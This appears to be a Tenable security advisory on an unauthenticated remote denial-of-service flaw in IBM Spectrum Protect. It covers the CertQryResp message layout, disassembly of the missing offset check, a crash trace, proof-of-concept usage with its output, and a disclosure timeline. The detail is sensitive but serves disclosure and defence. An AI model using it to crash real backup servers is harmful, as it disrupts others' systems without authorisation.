Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

IBM Spectrum Protect CertQryResp Unauthenticated Remote DoS



Tenable research discovered a DoS vulnerability in IBM Spectrum Protect (ISP) The flaw exists in the adsmdll.dll and dstadll.dll files due to improper validation of user-supplied data when processing a CertQryResp verb message sent to default TCP port 1500.

An unauthenticated, remote attacker can exploit the issue, via a series of specially crafted messages, to terminate the dsmsvc and dstasvc (Storage Agent) processes.

The CertQryResp verb message has the following format:

//  be = big endian
// Mandatory verb header
struct hdr
   be16 verbLen;  // 16-bit total len of the verb; 0 if verbType is 8
   int8 verbType; // 8-bit verb type 
                  // if verbType == 8, it's an extended verb and
                  // hdr_ex follows this header
   int8 magic;    // must be 0xCA 

// Optional extended verb header
// Used for verbTypes that are greater than 0x100
struct hdr_ex
   be32 verbType; // 32-bit verb type
   be32 verbLen;  // 32-bit total len of the verb

struct CertQryResp
   // Generic headers 
   hdr hdr;          // hdr.verbType = 8
   hdr_ex hdr2;      // hdr2.verbType = 0x00031900
   // verb-specific header starts
   int8 version;     
   be16 dataOffset;  // offset to the msg where the verb data starts
   be16 opRC;
   be16 certFormat;
   be16 certOffset;  // offset to the verb data where the certificate starts
   be16 certLength;
   // verb data starts
   byte cert[certLength];

All ISP verbs are validated in the SmIsValidVerbEx() function in adsmdll.dll/dstadll.dll. However, the function only checks to make sure CertQryResp.dataOffset falls within the message boundary (i.e., sizeof(CertQryResp)):

.text:000000018099AD2F      lea     rcx, [rdi+verbCertQryResp.dataOffset]
.text:000000018099AD33      call    GetTwo
.text:000000018099AD38      movzx   eax, ax
.text:000000018099AD3B      cmp     eax, r15d ; r15d = MsgSize
.text:000000018099AD3E      jbe     ok_1809A331

It does not check whether or not CertQryResp.dataOffset + CertQryResp.certOffset is within the message boundary. When the CertQryResp verb message is processed, the pointer to the certificate is calculated as: pCert = pCertQryResp + pCertQryResp->dataOffset + pCertQryResp->certOffset:

.text:0000000180AE8466      lea     rcx, [rsi+verbCertQryResp.certOffset]
.text:0000000180AE846A      call    GetTwo
.text:0000000180AE846F      lea     rcx, [rsi+verbCertQryResp.dataOffset]
.text:0000000180AE8473      movzx   ebx, ax
.text:0000000180AE8476      call    GetTwo
.text:0000000180AE847B      lea     rcx, [rsi+verbCertQryResp.certLength]
.text:0000000180AE847F      movzx   r15d, ax
.text:0000000180AE8483      add     r15, rbx ; dataOffset + certOffset
.text:0000000180AE8486      add     r15, rsi
.text:0000000180AE8489      call    GetTwo
.text:0000000180AE848E      movzx   r14d, ax

This can cause an Out-of-bounds read on the certificate if CertQryResp.certOffset contains a value (i.e., 0xffff) that is greater than the message size. The Out-of-bounds read can cause an access violation (i.e., pCert lands in an inaccessible page), resulting in process termination:

(d6c.74c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007fff`4877c64a 4c8b540af8      mov     r10,qword ptr [rdx+rcx-8] ds:000001d3`2f477fff=????????????????
0:414> k
 # Child-SP          RetAddr           Call Site
00 00000028`b01fe198 00007fff`42755475 MSVCR120!MoveSmall+0x1aa [f:\dd\vctools\crt\crtw32\string\amd64\memcpy.asm @ 362] 
01 00000028`b01fe1a0 00007fff`427d3324 gsk8cms_64!GSKASNUtility::asncpy+0x2a5
02 00000028`b01fe1d0 00007fff`40f9e642 gsk8cms_64!GSKString::GSKString+0x64
03 00000028`b01fe210 00007fff`40f766d4 gsk8km_64!GSKKM_strerror+0x254b2
04 00000028`b01fe720 00007fff`37d24ed7 gsk8km_64!GSKKM_OpenKeyDbData+0xa4
05 00000028`b01fe780 00007fff`37e984eb adsmdll!tlsValidateKeyDbPw+0xb7
06 00000028`b01fe850 00007fff`37e99286 adsmdll!HandleCertQryResp+0x1cb
07 00000028`b01fe8d0 00007fff`37e96b7a adsmdll!HandleNegotiate+0x756
08 00000028`b01fea30 00007fff`37d75c46 adsmdll!SmV2AuthProcess+0x28a
09 00000028`b01feab0 00007fff`380d00da adsmdll!smExecuteSession+0x3a6
0a 00000028`b01ff7f0 00007fff`373bc413 adsmdll!SessionThread+0x43a
0b 00000028`b01ff8b0 00007fff`48764f7f adsmdll!startThread+0x153
0c 00000028`b01ff900 00007fff`48765126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376] 
0d 00000028`b01ff930 00007fff`546b84d4 MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354] 
0e 00000028`b01ff960 00007fff`5711e871 KERNEL32!BaseThreadInitThunk+0x14
0f 00000028`b01ff990 00000000`00000000 ntdll!RtlUserThreadStart+0x21

Proof of Concept

Attached is a PoC to terminate dsmsvc.exe. The PoC can be used as follows:

python3 ibm_spectrum_protect_CertQryResp_dos_CVE-2020-4559.py -t <target_host> -p 1500
connection 00000300: certSize 00001500, certOffset 0000f000
connection 00000301: certSize 00001600, certOffset 00001000
connection 00000302: certSize 00001600, certOffset 00002000
connection 00000303: certSize 00001600, certOffset 00003000
connection 00000304: certSize 00001600, certOffset 00004000
connection 00000305: certSize 00001600, certOffset 00005000
Traceback (most recent call last):
  File "ibm_spectrum_protect_CertQryResp_dos.py", line 110, in <module>
    r = recv_verb(s)
  File "ibm_spectrum_protect_CertQryResp_dos.py", line 47, in recv_verb
    hdr1 = s.recv(4)
ConnectionResetError: [Errno 104] Connection reset by peer

Note that we tested the PoC on a Windows Server 2016 virtual machine with 2 CPUs and 16 GB of memory. The script may or may not terminate dsmsvc.exe depending on the memory page where pCert lands. To produce a reliable crash, full page heap can be enabled on dsmsvc.exe:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64>gflags /p /enable dsmsvc.exe /full

This puts the CertQryResp verb message at the end of a page followed by a non-accessible guard page.


Upgrade to either or

Disclosure Timeline

05/11/2020 - Vulnerability discovered
05/12/2020 - Reported via CERT/cc web form. Report tracked as VRF#20-05-ZFGDR. 90-day date is Aug 10, 2020.
05/12/2020 - Tenable receives automated reply from CERT.
05/27/2020 - Tenable asks if CERT has reviewed this report.
05/27/2020 - CERT apologizes for the delayed response. Tells us about their new portal. They will send out the report tomorrow.
05/28/2020 - CERT notifies us that the report was sent to IBM.
05/28/2020 - Tenable thanks CERT for the update.
06/16/2020 - IBM has asked for 3 extra weeks, bringing disclosure to 08/31/2020.
06/22/2020 - Tenable denies request for 3 week extension. Allows for 2 weeks, per our policy. Pushes disclosure date to 08/24/2020.
06/29/2020 - IBM requests that we coordinate disclosure on 08/31/2020.
06/29/2020 - Tenable denies the request. Explains that we can push as far as 08/24/2020. Otherwise, we will disclose on 08/10/2020.
07/02/2020 - IBM explains that CERT sent the report to them on May 28. Cites our policy and and asks that we coordinate on an August 31 disclosure.
07/02/2020 - Tenable agrees, and updates the 90-day date to August 26, 2020. However, the coordinated date is within the grace period, so disclosure date is set at August 31. Asks IBM if we can contact them directly for future reports.
07/02/2020 - IBM agrees to us contacting them directly.
07/02/2020 - Tenable thanks IBM.
08/27/2020 - IBM notifies Tenable of the fix and bulletin release.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now
Tenable.io FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free


Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning


Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.



Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security


Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Try for Free Contact Sales

Try Tenable Lumin


Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.